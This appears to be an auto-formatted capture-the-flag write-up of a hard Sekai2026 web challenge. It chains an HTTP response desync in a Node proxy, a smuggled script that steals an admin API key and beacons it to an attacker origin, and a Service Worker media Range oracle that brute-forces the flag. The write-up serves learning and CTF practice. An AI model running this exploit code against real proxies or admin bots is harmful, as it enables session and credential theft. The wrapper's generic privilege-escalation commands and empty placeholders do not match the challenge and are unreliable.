← Back to Writeups
HTBN/AWeb

EnD BLOCK BLOCK BLOCK BLOCK

XESXOR8/23/20267 min read
#web#htb#n/a#CVE-2023-4357

EnD BLOCK BLOCK BLOCK BLOCK

Platform: Sekai2026 | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-29 | Status: Solved Techniques: http_response_desync, admin_bot_exfiltration, service_worker_range_oracle, opaque_response_replay, prefix_bruteforce

Summary

Task: a Node proxy, Flask API, and Puppeteer bot expose an admin API key and a Range-enabled inbox search. Solution: desync a script response for same-origin JS, then use a Service Worker media Range oracle to brute-force the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260629_sekai2026_end_block_block_block_block
  • Tags: csp, puppeteer_bot, nodejs_proxy, flask_api, service_worker, response_desync, range_request, xs_leak
  • Indicators: proxy rewrites script responses to Content-Length: 0, upstream body is still piped after header rewrite, send_file(..., conditional=True) enables Range, bot treats attacker HTTP origin as secure, empty miss JSON length is 15 bytes
  • Source: 20260629_sekai2026_end_block_block_block_block.md

Foothold

Vulnerability / Misconfiguration

  1. Http_response_desync
  2. Admin_bot_exfiltration
  3. Service_worker_range_oracle
  4. Opaque_response_replay
  5. Prefix_bruteforce
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • http_response_desync
  • admin_bot_exfiltration
  • service_worker_range_oracle
  • opaque_response_replay
  • prefix_bruteforce
  • Tags: csp, puppeteer_bot, nodejs_proxy, flask_api, service_worker, response_desync, range_request, xs_leak

Original Writeup

<details><summary>Click to expand original content</summary>

EnD BLOCK BLOCK BLOCK BLOCK — sekai2026

Description

EnD BLOCK BLOCK BLOCK BLOCK

English summary: the challenge provided a Node.js proxy, an internal Flask API, and a Puppeteer admin bot. The goal was to recover the secret stored in the API inbox, which was also the flag.

Architecture

The deployment had three relevant components:

  • A Node proxy on localhost:3000.
  • A Flask API on localhost:9090.
  • A Puppeteer bot with an HttpOnly admin session cookie for the proxy.

The proxy's /admin page is only visible to the bot and embeds the API URL and API key:

function renderAdmin() {
  return ADMIN_HTML
    .replace('{{API_URL}}', esc(API_URL))
    .replace('{{API_KEY}}', esc(API_KEY))
}

The API contains the flag in _INBOX and implements a prefix search:

_SECRET  = os.environ["OAUTH_SECRET"]
_API_KEY = hmac.new(_SECRET.encode(), b"api-auth", "sha256").hexdigest()[:16]
_INBOX  = [_SECRET]

@app.route("/messages/search")
def search():
    if not hmac.compare_digest(request.args.get("key", ""), _API_KEY):
        return jsonify({"error": "Unauthorized"}), 401

    q = request.args.get("q", "")
    results = [m for m in _INBOX if m.startswith(q)]
    data = json.dumps({"results": results}).encode()
    return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)

The important detail is conditional=True: Flask/Werkzeug supports Range requests for this in-memory file.

The bot makes the submitted HTTP origin a secure context:

args.push(`--unsafely-treat-insecure-origin-as-secure=${httpOrigins.join(',')}`)

This allowed registering a Service Worker on the attacker-controlled HTTP origin.

Analysis

Stage 1: proxy response desynchronization

The proxy blocks attacker-controlled scripts by rewriting proxied responses requested as scripts:

if (req.headers['sec-fetch-dest'] === 'script') {
  h['content-length'] = '0'
  delete h['transfer-encoding']
}

res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)

The header rewrite says the response body is empty, but the upstream body is still piped to the HTTP/1.1 connection. Those extra bytes can be shaped as a second raw HTTP response. A later pending browser request on the same connection can consume that smuggled response.

Reliability required connection-pool pressure. A page registered with /add and opened under /view/<name>/ loaded many relative async script URLs:

<script async src="s0.js?..."></script>
<script async src="s1.js?..."></script>
...

The URLs must be relative (s0.js), not absolute (/s0.js), so that they stay below /view/<name>/s0.js and are proxied through the vulnerable proxy route.

One upstream script endpoint returned a body that was itself a raw JavaScript HTTP response. The outer response used a matching Content-Length, flushed headers, waited briefly, and then wrote the fake response bytes:

def admin_stealing_js(public):
    return f"""
(async()=>{{
  try {{
    const html = await (await fetch('/admin', {{credentials:'include'}})).text();
    const key = (html.match(/id=["']api-key["'][^>]*>([^<]+)/)||[])[1] || '';
    const api = (html.match(/id=["']api-url["'][^>]*>([^<]+)/)||[])[1] || '';
    (new Image()).src = {public!r} + '/leak?key=' + encodeURIComponent(key)
      + '&api=' + encodeURIComponent(api) + '&t=' + Date.now();
  }} catch(e) {{
    (new Image()).src = {public!r} + '/err?e=' + encodeURIComponent(String(e));
  }}
}})();
""".encode()

def fake_response(public):
    body = admin_stealing_js(public)
    return (b"HTTP/1.1 200 OK\r\n"
            b"Content-Type: application/javascript\r\n"
            b"Content-Length: " + str(len(body)).encode() +
            b"\r\nConnection: keep-alive\r\n\r\n" + body)

# Inside the malicious upstream handler for /s6.js:
payload = fake_response(public)
send_response(200)
send_header('Content-Type', 'text/plain')
send_header('Content-Length', str(len(payload)))
send_header('Expect', '100-continue')
end_headers()
wfile.flush()
time.sleep(0.5)
wfile.write(payload)

The smuggled JavaScript executed as same-origin script on http://localhost:3000, fetched /admin with the bot's cookie, parsed #api-key and #api-url, and exfiltrated them through an image beacon. Image exfiltration was necessary because the CSP allowed img-src *, while outbound fetch() was blocked by default-src 'self'.

The live values recovered were:

API key: 37e81eb38cafce6d
API URL: http://localhost:9090

Stage 2: why the API still needed a side channel

The API did not allow CORS, so same-origin JavaScript from the proxy could not directly read http://localhost:9090/messages/search. However, the search endpoint's response size leaked whether a prefix matched:

  • Miss: {"results": []} has length 15.
  • Hit: {"results": ["SEKAI{...}"]} is longer.

Therefore, with Range: bytes=16-:

  • A hit returns 206 Partial Content.
  • A miss returns 416 Range Not Satisfiable.

Normal cross-origin resources did not expose this distinction. The working oracle used Chromium's handling of media Range requests plus Service Worker opaque response replay.

Solution

Critical Service Worker oracle

The key discovery was that the second Range request must be generated by Chromium itself. Do not synthesize it with:

new Request(apiUrl, {headers: {Range: 'bytes=16-'}})

That loses Chromium's internal Range-request state and makes the oracle useless. Instead, point a media element directly at the cross-origin API URL. The Service Worker intercepts the real media request sequence:

  1. Browser requests Range: bytes=0- for the API URL.
  2. The Service Worker returns a fake 206 containing 16 bytes and Content-Range: bytes 0-15/13337.
  3. Chromium issues the real second request, Range: bytes=16-, to the same cross-origin API URL.
  4. The Service Worker calls fetch(e.request) exactly and stores the opaque response.
  5. Replaying the stored opaque response to fetch('/mock.css', {mode:'no-cors'}) gives a boolean:
  • 416 miss resolves.
  • 206 hit rejects with a network error.

Minimal Service Worker logic:

let cfg = {size: 16};
let stored = null;

self.addEventListener('install', e => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(self.clients.claim()));
self.onmessage = e => { cfg = e.data || cfg; stored = null; };

function fake206() {
  const size = Number(cfg.size || 16);
  return new Response(new Uint8Array(size), {
    status: 206,
    headers: {
      'Content-Type': 'audio/mp4',
      'Content-Range': `bytes 0-${size - 1}/13337`,
      'Content-Length': String(size)
    }
  });
}

self.onfetch = e => {
  const u = new URL(e.request.url);
  const range = e.request.headers.get('range') || '';
  const size = Number(cfg.size || 16);

  if (range === 'bytes=0-') {
    return e.respondWith(fake206());
  }

  if (range === `bytes=${size}-`) {
    return e.respondWith((async () => {
      // Critical: preserve Chromium's internal media Range request state.
      stored = await fetch(e.request);
      return stored.clone();
    })());
  }

  if (u.pathname === '/mock.css' && stored) {
    return e.respondWith(stored.clone());
  }
};

The probing page used an <audio> element for each candidate prefix:

async function probe(q) {
  const size = 16;
  navigator.serviceWorker.controller.postMessage({api, key, q, size});
  await sleep(50);

  await new Promise(resolve => {
    const url = api.replace(/\/$/, '') + '/messages/search?key='
      + encodeURIComponent(key) + '&q=' + encodeURIComponent(q) + '&r=' + Math.random();
    const a = new Audio(url);
    a.preload = 'auto';
    a.onerror = resolve;
    a.onabort = resolve;
    document.body.appendChild(a);
    try { a.load(); } catch(e) { resolve(); }
    setTimeout(resolve, 2500);
  });

  try {
    await fetch('/mock.css?' + Math.random(), {mode: 'no-cors'});
    return false; // miss: stored 416 replay resolves
  } catch(e) {
    return true;  // hit: stored 206 replay rejects
  }
}

Then the flag was recovered one character at a time:

let pref = 'SEKAI{';
const alphabet = 'SEKAI{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_$!@#%&*()+,./:;<=>?[]^`|~';

for (;;) {
  let advanced = false;
  for (const ch of alphabet) {
    const q = pref + ch;
    if (await probe(q)) {
      pref = q;
      leak('pref:' + pref);
      advanced = true;
      break;
    }
  }
  if (!advanced || pref.endsWith('}')) break;
}

Because the bot session timed out, the oracle was restarted with the last known prefix several times. Intermediate recovered prefixes included:

SEKAI{REDACTED...
SEKAI{REDACTED...

The final recovered flag was:

SEKAI{REDACTED}

Failed Attempts

  • Sequential response queue poisoning was unreliable; saturating the browser connection pool with async scripts was required.
  • CSS, SVG, iframe, scriptless leaks, XSLT, Service Worker opaque /admin laundering, API resource XS-leaks, and CVE-2023-4357-style ideas did not yield a complete leak.
  • Cache API replay and manually constructed Range requests made the oracle always true or always false. The exact fetch(e.request) on Chromium's own second media Range request was required.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR